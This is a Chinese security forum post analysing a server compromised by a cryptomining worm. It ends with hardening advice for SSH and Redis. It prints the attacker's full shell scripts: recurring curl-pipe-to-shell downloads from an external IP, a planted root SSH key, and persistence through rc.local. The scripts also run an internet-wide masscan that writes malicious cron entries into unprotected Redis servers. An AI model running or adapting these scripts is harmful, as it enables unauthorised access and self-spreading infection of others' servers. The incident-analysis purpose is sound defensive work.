黑客入侵,服务器被当作挖矿机器!
作者:看雪论坛 Hefe
来源:看雪社区
0x00 背景
0x01 查找线索
ps eho command -p 23374netstat -pan | grep 23374
2、这个文件的目的是什么,或是黑客想干嘛?
crontab -e
0x02 作案动机
curl -fsSL 159.89.190.243/ash.php > ash.sh
uname -aidhostnamesetenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000crontab -r 2>/dev/nullrm -rf /var/spool/cron/* 2>/dev/nullmkdir -p /var/spool/cron/crontabs 2>/dev/nullmkdir -p /root/.ssh 2>/dev/nullecho 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keysecho '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/rootecho '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/rootyum install -y bash 2>/dev/nullapt install -y bash 2>/dev/nullapt-get install -y bash 2>/dev/nullbash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null
sleep $( seq 3 7 | sort -R | head -n1 )cd /tmp || cd /var/tmpsleep 1mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...sleep 1if [ -f .watch ]; thenrm -rf .watchexit 0fisleep 1echo 1 > .watchsleep 1ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/nullps x | awk '!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/nullsleep 1if ! [ -x /usr/bin/gpg-agentd ]; thencurl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.dbecho '/usr/bin/gpg-agentd' > /etc/rc.localecho 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.localecho 'exit 0' >> /etc/rc.localfisleep 1chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentdsleep 1if ! [ -x "$(command -v masscan)" ]; thenrm -rf /var/lib/apt/lists/*rm -rf x1.tar.gzif [ -x "$(command -v apt-get)" ]; thenexport DEBIAN_FRONTEND=noninteractiveapt-get update -yapt-get install -y debconf-docapt-get install -y build-essentialapt-get install -y libpcap0.8-dev libpcap0.8apt-get install -y libpcap*apt-get install -y make gcc gitapt-get install -y redis-serverapt-get install -y redis-toolsapt-get install -y redisapt-get install -y iptablesapt-get install -y wget curlfiif [ -x "$(command -v yum)" ]; thenyum update -yyum install -y epel-releaseyum update -yyum install -y git iptables make gcc redis libpcap libpcap-develyum install -y wget curlfisleep 1curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gzsleep 1[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4fisleep 3 && rm -rf .watchbash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null
2. 修改rc.local,让本地代码开机自动执行。
3. 下载github上的开源扫描器代码,并安装相关的依赖软件,也就是我上面的messages里看到的记录。
4. 下载第三个脚本,并且执行。
This is the fastest Internet port
scanner. It can scan the entire Internet in under 6 minutes, >
transmitting 10 million packets per second.
It produces results similar to nmap, the most famous port scanner.
Internally, it operates more > like scanrand, unicornscan, and ZMap,
using asynchronous transmission. The major difference is > that it's
faster than these other scanners. In addition, it's more flexible,
allowing arbitrary > address ranges and port ranges.
NOTE: masscan uses a custom TCP/IP stack. Anything other than simple
port scans will cause conflict with the local TCP/IP stack. This means
you need to either use the -S option to use a separate IP address, or
configure your operating system to firewall the ports that masscan uses.
setenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000sleep 1iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/nulliptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/nullsleep 1rm -rf .dat .shard .ranges .lan 2>/dev/nullsleep 1echo 'config set dbfilename "backup.db"' > .datecho 'save' >> .datecho 'flushall' >> .datecho 'set backup1 "
*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh
"' >> .datecho 'set backup2 "
*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh
"' >> .datecho 'set backup3 "
*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh
"' >> .datecho 'set backup4 "
*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh
"' >> .datecho 'config set dir "/var/spool/cron/"' >> .datecho 'config set dbfilename "root"' >> .datecho 'save' >> .datecho 'config set dir "/var/spool/cron/crontabs"' >> .datecho 'save' >> .datsleep 1masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shardsleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .shardsleep 1masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .rangessleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .rangessleep 1ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inetsleep 1masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lansleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .lansleep 60rm -rf .dat .shard .ranges .lan 2>/dev/null
0x03 总结
0x04 安全建议
2. 用户名和密码尽量复杂
3. 修改ssh的默认22端口
4. 安装DenyHosts防暴力破解软件
5. 禁用密码登录,使用RSA公钥登录
2. 使用密码限制访问redis
3. 使用较低权限帐号运行redis
评论